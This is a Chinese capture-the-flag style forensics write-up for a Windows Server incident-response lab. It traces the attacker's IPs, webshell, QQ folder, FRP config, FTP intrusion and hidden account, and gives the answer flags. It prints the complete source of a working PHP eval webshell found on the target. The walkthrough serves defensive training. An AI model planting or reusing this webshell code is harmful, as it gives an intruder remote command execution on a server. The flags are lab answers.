知工善防web渗透 2(WindowsServer2022 - 2)靶机WriteUP

知工善防靶机题解

一、准备

  1. 若无法打开知工善防靶机虚拟机,可尝试打开虚拟机目录,找到虚拟机配置文件 **Windows Server 2022.vmx**,将其中的选项 virtualHW.version = "21" 改为 virtualHW.version = "17""16"
    虚拟机配置文件修改
  2. 靶机密码:Zgsf@qq.com

二、题目解析

1. 攻击者的IP地址(两个)?

  • 第一个IP分析:开启小皮面板后,进入日志路径 C:\phpstudy_pro\Extensions\Apache2.4.39\logs 查看web日志,发现IP 192.168.126.135 多次访问 .htaccess 等隐藏文件及备份文件
    web日志查看
  • 第二个IP分析:使用日志分析工具查看RDP登录日志,定位到IP 192.168.126.129
    RDP日志查看

flag:192.168.126.135 192.168.126.129

2. 攻击者的webshell文件名?

在上述Apache日志中,明确发现攻击者访问了文件 **system.php**,可判定该文件为webshell文件
webshell文件名日志

flag:system.php

3. 攻击者的webshell密码?

进入webshell文件路径 **C:\phpstudy_pro\WWW\system.php**,查看文件源码,其中明确定义密码为 hack6618,源码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
for($i=0;$i<strlen($D);$i++) {
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='hack6618'; // webshell密码
$payloadName='payload';
$key='7813d1590d28a7dd';
if (isset($_POST[$pass])){
$data=encode(base64_decode($_POST[$pass]),$key);
if (isset($_SESSION[$payloadName])){
$payload=encode($_SESSION[$payloadName],$key);
if (strpos($payload,"getBasicsInfo")===false){
$payload=encode($payload,$key);
}
eval($payload);
echo substr(md5($pass.$key),0,16);
echo base64_encode(encode(@run($data),$key));
echo substr(md5($pass.$key),16);
}else{
if (strpos($data,"getBasicsInfo")!==false){
$_SESSION[$payloadName]=encode($data,$key);
}
}
}

flag:hack6618

4. 攻击者的QQ号?

QQ通常以账户名作为数据索引,进入路径 **C:\Users\Administrator\Documents\Tencent Files**,可看到以QQ号命名的文件夹 777888999321
QQ号文件夹

flag:777888999321

5. 攻击者的服务器伪IP地址?

进入上一步找到的QQ号文件夹下的FRP目录 **C:\Users\Administrator\Documents\Tencent Files\777888999321\FileRecv\frp_0.54.0_windows_amd64\frp_0.54.0_windows_amd64**,查看FRP配置文件,发现攻击者服务器伪IP为 256.256.66.88
FRP配置文件伪IP

flag:256.256.66.88

6. 攻击者的服务器端口?

同样在FRP配置文件(路径同第5题)中,可找到攻击者服务器端口为 65536

flag:65536

7. 攻击者是如何入侵的(选择题)

通过排除法分析入侵方式:

  1. 排除MySQL攻击:检查靶机配置,发现MySQL不允许远程登录,无远程入侵条件
    MySQL远程登录配置
  2. 排除Web攻击:查看 error.log,未发现攻击者爆破后台或访问敏感Web路径的记录
    Web错误日志
  3. 判定FTP攻击:剩余可能入侵方式为FTP,但因靶机FTP日志被覆盖,无直接日志佐证,结合排除法可判定为FTP入侵
    FTP日志覆盖

8. 攻击者的隐藏用户名?

进入靶机用户文件夹 **C:\Users**,可清晰看到攻击者创建的隐藏用户 hack887$
隐藏用户名

flag:hack887$

至此,靶机题目解析完毕
解析完成